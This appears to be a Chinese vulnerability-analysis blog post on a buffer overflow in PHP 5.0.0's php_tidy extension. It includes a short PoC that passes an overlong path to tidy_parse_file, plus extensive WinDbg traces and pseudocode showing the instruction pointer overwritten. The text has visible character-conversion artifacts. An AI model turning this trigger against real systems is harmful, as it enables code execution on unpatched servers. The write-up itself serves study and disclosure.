漏洞說明
不得不再次吐槽一下exploit-db對(duì)exp審核的質(zhì)量,這個(gè)exp仍然不能觸發(fā)漏洞,修改第一個(gè)參數(shù)則可以觸發(fā),我給出的poc是一個(gè)可以觸發(fā)php漏洞的,問題出現(xiàn)在php_tidy.dll擴(kuò)展中,對(duì)tidy_parse_file的第二個(gè)參數(shù),也就是文件絕對(duì)路徑?jīng)]有進(jìn)行長(zhǎng)度控制和內(nèi)容校驗(yàn),導(dǎo)致在fopen失敗后進(jìn)入失敗處理邏輯引發(fā)緩沖區(qū)溢出,下面對(duì)此漏洞進(jìn)行詳細(xì)分析。
軟件下載:
https://www.exploit-db.com/apps/f8fb5676b6a32f7be1c8d8d373fbc2af-php-5.0.0-Win32.zip (本地下載)
PoC:
?php
$junk = str_repeat("A", 2040); # 2036 x A
$buffer = $junk;
tidy_parse_file(“http://www.baidu.com”,$buffer,1,1);
#tidy_repair_file(1,$buffer,1,1);
?>
漏洞分析
首先介紹一下tidy_parse_file,主要是用來處理html標(biāo)簽,并且對(duì)處理字符串進(jìn)行存儲(chǔ),主要關(guān)心的是第二個(gè)參數(shù)。
php會(huì)先調(diào)用php_module_startup函數(shù)對(duì)php.ini配置文件進(jìn)行一系列初始化,包括獲取extension擴(kuò)展。
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b038 esp=0012fc0c ebp=003b3b98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php5ts!zend_llist_apply+0x18:
1004b038 57 push edi
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b039 esp=0012fc08 ebp=003b3b98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php5ts!zend_llist_apply+0x19:
1004b039 51 push ecx
0:000> p
eax=10338504 ebx=100671a0 ecx=00a558a8 edx=0012fe30 esi=00a558a0 edi=003b3b98
eip=1004b03a esp=0012fc04 ebp=003b3b98 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php5ts!zend_llist_apply+0x1a:
1004b03a ffd3 call ebx {php5ts!display_ini_entries+0xb20 (100671a0)}
這個(gè)過程不重要,直接略過,在最后會(huì)調(diào)用php的excute_script用來執(zhí)行擴(kuò)展中的API。進(jìn)入php_tidy.dll動(dòng)態(tài)鏈接庫中。單步跟蹤這個(gè)過程。
0:000> p
eax=00a1e358 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ea esp=0012fad0 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16ea:
00b526ea 8b442428 mov eax,dword ptr [esp+28h] ss:0023:0012faf8=00a10001
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ee esp=0012fad0 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16ee:
00b526ee 57 push edi
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526ef esp=0012facc ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16ef:
00b526ef 50 push eax
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f0 esp=0012fac8 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16f0:
00b526f0 51 push ecx
0:000> p
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f1 esp=0012fac4 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16f1:
00b526f1 e8ca010000 call php_tidy!get_module+0x18c0 (00b528c0)
0:000> p
ModLoad: 719c0000 719fe000 C:\WINDOWS\System32\mswsock.dll
ModLoad: 76ef0000 76f17000 C:\WINDOWS\system32\DNSAPI.dll
ModLoad: 76f90000 76f96000 C:\WINDOWS\system32\rasadhlp.dll
ModLoad: 60fd0000 61025000 C:\WINDOWS\system32\hnetcfg.dll
ModLoad: 71a00000 71a08000 C:\WINDOWS\System32\wshtcpip.dll
eax=00a24198 ebx=00a1e358 ecx=00a24198 edx=00a10000 esi=00000000 edi=003b3bc8
eip=00b526f6 esp=0012fac4 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x16f6:
00b526f6 83c420 add esp,20h
在00b526f1函數(shù)位置,會(huì)調(diào)用php_tidy的一個(gè)函數(shù),單步步過時(shí),可以看到加載了一系列dll,比如DNSAPI,mswsock,可以猜測(cè)這個(gè)函數(shù)的主要功能應(yīng)該是和第一個(gè)參數(shù)的服務(wù)器建立連接,觀察一下這個(gè)call函數(shù)的參數(shù)。
0:000> bp 00b526f1
*** WARNING: Unable to verify checksum for C:\php\ext\php_tidy.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\php\ext\php_tidy.dll -
0:000> g
Breakpoint 1 hit
eax=00a10001 ebx=00a1e358 ecx=00a1d928 edx=00a1e2e0 esi=00000000 edi=003b3bc8
eip=00b526f1 esp=0012fac4 ebp=00a1e2e0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
php_tidy!get_module+0x16f1:
00b526f1 e8ca010000 call php_tidy!get_module+0x18c0 (00b528c0)
0:000> dd esp
0012fac4 00a1d928 00a10001 003b3bc8 00a1e2e0
0:000> dc 00a1d928
00a1d928 70747468 772f2f3a 622e7777 75646961 http://www.baidu
00a1d938 6d6f632e baadf000 abababab abababab .com............
第一個(gè)參數(shù)的內(nèi)容就是tidy_parse_file函數(shù)的第一個(gè)參數(shù),果然沒錯(cuò),這個(gè)函數(shù)執(zhí)行完畢后繼續(xù)單步跟蹤。
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b5287e esp=0012fae0 ebp=00a1e2e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x187e:
00b5287e 50 push eax
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b5287f esp=0012fadc ebp=00a1e2e0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x187f:
00b5287f e83c260000 call php_tidy!get_module+0x3ec0 (00b54ec0)
程序執(zhí)行到00b5287f地址位置,這里再次調(diào)用了一個(gè)call函數(shù),來看一下參數(shù)情況。
0:000> dd esp
0012fadc 00a1e420 00a1da80 003b3bc8 0012fb88
0:000> dd 00a1da80
00a1da80 41414141 41414141 41414141 41414141
00a1da90 41414141 41414141 41414141 41414141
00a1daa0 41414141 41414141 41414141 41414141
00a1dab0 41414141 41414141 41414141 41414141
00a1dac0 41414141 41414141 41414141 41414141
00a1dad0 41414141 41414141 41414141 41414141
00a1dae0 41414141 41414141 41414141 41414141
00a1daf0 41414141 41414141 41414141 41414141
終于接收到了畸形字符串,作為第二個(gè)參數(shù)傳入。查看一下這個(gè)函數(shù)的IDA pro偽代碼。
signed int __cdecl sub_10004EC0(int a1, int a2)
{
signed int result; // eax@2
if ( a1 )
result = sub_1000AC30(a1, a2);
else
result = -22;
return result;
}
很簡(jiǎn)單的函數(shù)邏輯,第二個(gè)參數(shù)會(huì)作為內(nèi)部參數(shù)再次傳遞,調(diào)用sub_1000AC30,或者直接返回-22,單步跟蹤。
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ecc esp=0012fad8 ebp=00a1e2e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x3ecc:
00b54ecc 51 push ecx
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ecd esp=0012fad4 ebp=00a1e2e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x3ecd:
00b54ecd 50 push eax
0:000> p
eax=00a1e420 ebx=00a1e358 ecx=00a1da80 edx=00a1e3e8 esi=00a1d8b8 edi=003b3bc8
eip=00b54ece esp=0012fad0 ebp=00a1e2e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x3ece:
00b54ece e85d5d0000 call php_tidy!get_module+0x9c30 (00b5ac30)
0:000> dd esp
0012fad0 00a1e420 00a1da80 00b52884 00a1e420
0:000> dc 00a1da80
00a1da80 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1da90 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1daa0 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
這里會(huì)進(jìn)入if語句,直接調(diào)用sub_1000AC30函數(shù),參數(shù)也繼續(xù)傳遞,跟入這個(gè)函數(shù)。
int __cdecl sub_1000AC30(int a1, int a2)
{
return sub_1000AC50(a1, (char *)a2, (int)aAscii);
}
這個(gè)也很簡(jiǎn)單,繼續(xù)跟入。
signed int __cdecl sub_1000AC50(int a1, char *a2, int a3)
{
v3 = a1;
v20 = *(_DWORD *)(a1 + 1168);
v4 = (const char *)sub_1000AB80((int)a2);
v5 = (char *)v4;
v21 = v4;
v6 = a1 + 72;
v7 = fopen(v4, Mode);
v8 = v7;
v19 = v7;
v9 = sub_1000BBA0(a3);
if ( !v8 || v9 0 )
{
sub_10013E80(a1, (int)v5, 2);
return -1;
}
在內(nèi)部函數(shù)中,會(huì)執(zhí)行一處fopen操作,打開的對(duì)象是v4,v4又是直接從a2獲取的,a2就是剛才直接傳遞的畸形字符串,很顯然,打開畸形字符串肯定是失敗的。
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aca7 esp=0012da5c ebp=00a1e468 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x9ca7:
00b5aca7 85f6 test esi,esi
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aca9 esp=0012da5c ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ca9:
00b5aca9 0f8410020000 je php_tidy!get_module+0x9ebf (00b5aebf) [br=1]
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aebf esp=0012da5c ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ebf:
00b5aebf 6a02 push 2
也就是會(huì)進(jìn)入上述偽代碼中的if語句中的分支,調(diào)用sub_10013E80函數(shù)。
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec1 esp=0012da58 ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ec1:
00b5aec1 57 push edi
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec2 esp=0012da54 ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ec2:
00b5aec2 53 push ebx
0:000> p
eax=00000001 ebx=00a1e420 ecx=00000000 edx=00b796a0 esi=00000000 edi=00a1da80
eip=00b5aec3 esp=0012da50 ebp=00a1e468 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
php_tidy!get_module+0x9ec3:
00b5aec3 e8b88f0000 call php_tidy!get_module+0x12e80 (00b63e80)
0:000> dd edi
00a1da80 41414141 41414141 41414141 41414141
00a1da90 41414141 41414141 41414141 41414141
00a1daa0 41414141 41414141 41414141 41414141
00a1dab0 41414141 41414141 41414141 41414141
00a1dac0 41414141 41414141 41414141 41414141
00a1dad0 41414141 41414141 41414141 41414141
接下來00b5aec3地址位置的call函數(shù)調(diào)用,有4個(gè)參數(shù),看一下偽代碼。
int (__cdecl *sub_10013A20(int arg0, int arg4, char *Format, ...))(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)
{
va_list va; // [sp+10h] [bp+10h]@1
va_start(va, Format);
return sub_10013A50(arg0, arg4, 0, 0, Format, va);
}
這里會(huì)直接傳入sub_10013A50函數(shù),但實(shí)際上這個(gè)函數(shù)傳參和畸形字符串并沒有關(guān)系,va是一個(gè)名為va_list的結(jié)構(gòu)體。
實(shí)際上,進(jìn)入的這個(gè)函數(shù),就是要負(fù)責(zé)處理構(gòu)造一個(gè)報(bào)錯(cuò)的字符串,而問題就出在這個(gè)函數(shù)中,跟入這個(gè)函數(shù),單步跟蹤后會(huì)發(fā)現(xiàn),函數(shù)首先會(huì)進(jìn)入一處循環(huán)。
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3a esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b3a:
00b63b3a 0fbec0 movsx eax,al
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3d esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b3d:
00b63b3d 52 push edx
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3e esp=0012d1c8 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b3e:
00b63b3e 50 push eax
0:000> p
eax=0000006e ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1de
eip=00b63b3f esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b3f:
00b63b3f e88c34ffff call php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000003 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701 mov al,byte ptr [edi+1] ds:0023:0012d1df=66
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b47 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b47:
00b63b47 83c408 add esp,8
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1de
eip=00b63b4a esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b4a:
00b63b4a 47 inc edi
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b4b esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b4b:
00b63b4b 84c0 test al,al
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b4d esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b4d:
00b63b4d 75e5 jne php_tidy!get_module+0x12b34 (00b63b34) [br=1]
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00000002 esi=00a1e420 edi=0012d1df
eip=00b63b34 esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b34:
00b63b34 8b9684040000 mov edx,dword ptr [esi+484h] ds:0023:00a1e8a4=00a1e958
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3a esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b3a:
00b63b3a 0fbec0 movsx eax,al
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3d esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b3d:
00b63b3d 52 push edx
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3e esp=0012d1c8 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b3e:
00b63b3e 50 push eax
0:000> p
eax=00000066 ebx=00000000 ecx=00a21080 edx=00a1e958 esi=00a1e420 edi=0012d1df
eip=00b63b3f esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b3f:
00b63b3f e88c34ffff call php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000004 ebx=00000000 ecx=00a21080 edx=00000003 esi=00a1e420 edi=0012d1df
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701 mov al,byte ptr [edi+1] ds:0023:0012d1e0=69
0:000> dc edi
0012d1df 3a676966 12d20020 12d26c00 92e90000 fig: ....l......
0012d1ef 9392f87c ffffff7c 9392efff 12d27c7c |...|.......||..
我在循環(huán)中間做了一次停頓,可以看到edi一直在拷貝一字節(jié)進(jìn)al,實(shí)際上,這個(gè)過程是在拷貝第一個(gè)字符串。直接看一下拷貝結(jié)束后的目標(biāo)地址空間。
Breakpoint 1 hit
eax=00000001 ebx=00000000 ecx=00a21080 edx=00000000 esi=00a1e420 edi=0012d1dc
eip=00b63b44 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b44:
00b63b44 8a4701 mov al,byte ptr [edi+1] ds:0023:0012d1dd=6f
0:000> dc edi
0012d1dc 666e6f43 203a6769 0012d200 0012d26c Config:
第一個(gè)字符串時(shí)候Config,接下來馬上會(huì)到達(dá)另一處循環(huán)。
0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b64 esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b64:
00b63b64 51 push ecx
0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b65 esp=0012d1c8 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b65:
00b63b65 52 push edx
0:000> p
eax=00000043 ebx=00000000 ecx=00a1e958 edx=00000043 esi=00a1e420 edi=0012d21c
eip=00b63b66 esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b66:
00b63b66 e86534ffff call php_tidy!get_module+0x5fd0 (00b56fd0)
0:000> p
eax=00000009 ebx=00000000 ecx=00a21080 edx=00000008 esi=00a1e420 edi=0012d21c
eip=00b63b6b esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b6b:
00b63b6b 8a4701 mov al,byte ptr [edi+1] ds:0023:0012d21d=61
0:000> dc edi
0012d21c 276e6143 706f2074 22206e65 41414141 Can't open "AAAA
0012d22c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012d23c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012d24c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012d25c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0012d26c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
這里就會(huì)拷貝cant open + 畸形字符串 的字符串了,這里拷貝過程并沒有對(duì)拷貝字符串進(jìn)行長(zhǎng)度控制,導(dǎo)致拷貝結(jié)束后會(huì)溢出目標(biāo)字符串的緩沖區(qū)。
拷貝結(jié)束后,可以直接看一下目標(biāo)緩沖區(qū)的內(nèi)容。
0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22e
eip=00b63b6e esp=0012d1c4 ebp=00000000 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
php_tidy!get_module+0x12b6e:
00b63b6e 83c408 add esp,8
0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22e
eip=00b63b71 esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b71:
00b63b71 47 inc edi
0:000> p
eax=00000041 ebx=00000000 ecx=00a21080 edx=0000001a esi=00a1e420 edi=0012d22f
eip=00b63b72 esp=0012d1cc ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b72:
00b63b72 84c0 test al,al
0:000> dc ecx
00a21080 666e6f43 203a6769 276e6143 706f2074 Config: Can't op
00a21090 22206e65 41414141 00414141 00000000 en "AAAAAAA.....
此時(shí)緩沖區(qū)已經(jīng)溢出,看一下緩沖區(qū)內(nèi)的情況。
0:000> bp 00b63b84
0:000> dc ecx
00a1ef88 666e6f43 203a6769 276e6143 706f2074 Config: Can't op
00a1ef98 22206e65 41414141 41414141 41414141 en "AAAAAAAAAAAA
00a1efa8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1efb8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1efc8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00a1efd8 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
執(zhí)行到返回
0:000> p
eax=00000811 ebx=00000000 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b89 esp=0012d1d4 ebp=00000000 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b89:
00b63b89 5d pop ebp
0:000> p
eax=00000811 ebx=00000000 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b8a esp=0012d1d8 ebp=00a1e468 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b8a:
00b63b8a 5b pop ebx
0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b8b esp=0012d1dc ebp=00a1e468 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
php_tidy!get_module+0x12b8b:
00b63b8b 81c440080000 add esp,840h
0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=00b63b91 esp=0012da1c ebp=00a1e468 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
php_tidy!get_module+0x12b91:
00b63b91 c3 ret
0:000> dd esp
0012da1c 41414141 00000a22 00000002 00000000
此時(shí)esp已經(jīng)被覆蓋,返回后到達(dá)可控位置。
0:000> p
eax=00000811 ebx=00a1e420 ecx=00a1ef88 edx=00000810 esi=00000000 edi=00a1da80
eip=41414141 esp=0012da20 ebp=00a1e468 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
41414141 ?? ???
通過IDA pro可以看到這個(gè)存在問題的函數(shù)邏輯,實(shí)際上兩處拷貝時(shí)兩處for循環(huán),但并沒有對(duì)for循環(huán)長(zhǎng)度進(jìn)行控制,而是全部拷貝。
int (__cdecl *__cdecl sub_10013A50(int a1, int a2, int a3, int a4, char *Format, va_list Args))(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)
{
……
for ( j = v14; v10; ++j )
{
sub_10006FD0(v10, *(_DWORD *)(a1 + 1156));
v10 = j[1];
}
v12 = Dest;
for ( k = Dest; v12; ++k )
{
sub_10006FD0(v12, *(_DWORD *)(a1 + 1156));
v12 = k[1];
}
result = (int (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD))sub_10006FD0(10, *(_DWORD *)(a1 + 1156));
return result
}
這里省去了大部分代碼邏輯,只保留了關(guān)鍵位置,正是這里的溢出,導(dǎo)致報(bào)錯(cuò)的情況下產(chǎn)生緩沖區(qū)溢出漏洞,從而可以執(zhí)行任意代碼。
總結(jié)
以上就是這篇文章的全部?jī)?nèi)容了,希望本文的內(nèi)容對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,如果有疑問大家可以留言交流,謝謝大家對(duì)腳本之家的支持。
您可能感興趣的文章:- 緩沖區(qū)溢出:十年來攻擊和防衛(wèi)的弱點(diǎn)
- PHP基礎(chǔ)之輸出緩沖區(qū)基本概念、原理分析
- python運(yùn)行時(shí)強(qiáng)制刷新緩沖區(qū)的方法
- C#環(huán)形緩沖區(qū)(隊(duì)列)完全實(shí)現(xiàn)
- C 語言中實(shí)現(xiàn)環(huán)形緩沖區(qū)
- 詳解C語言之緩沖區(qū)溢出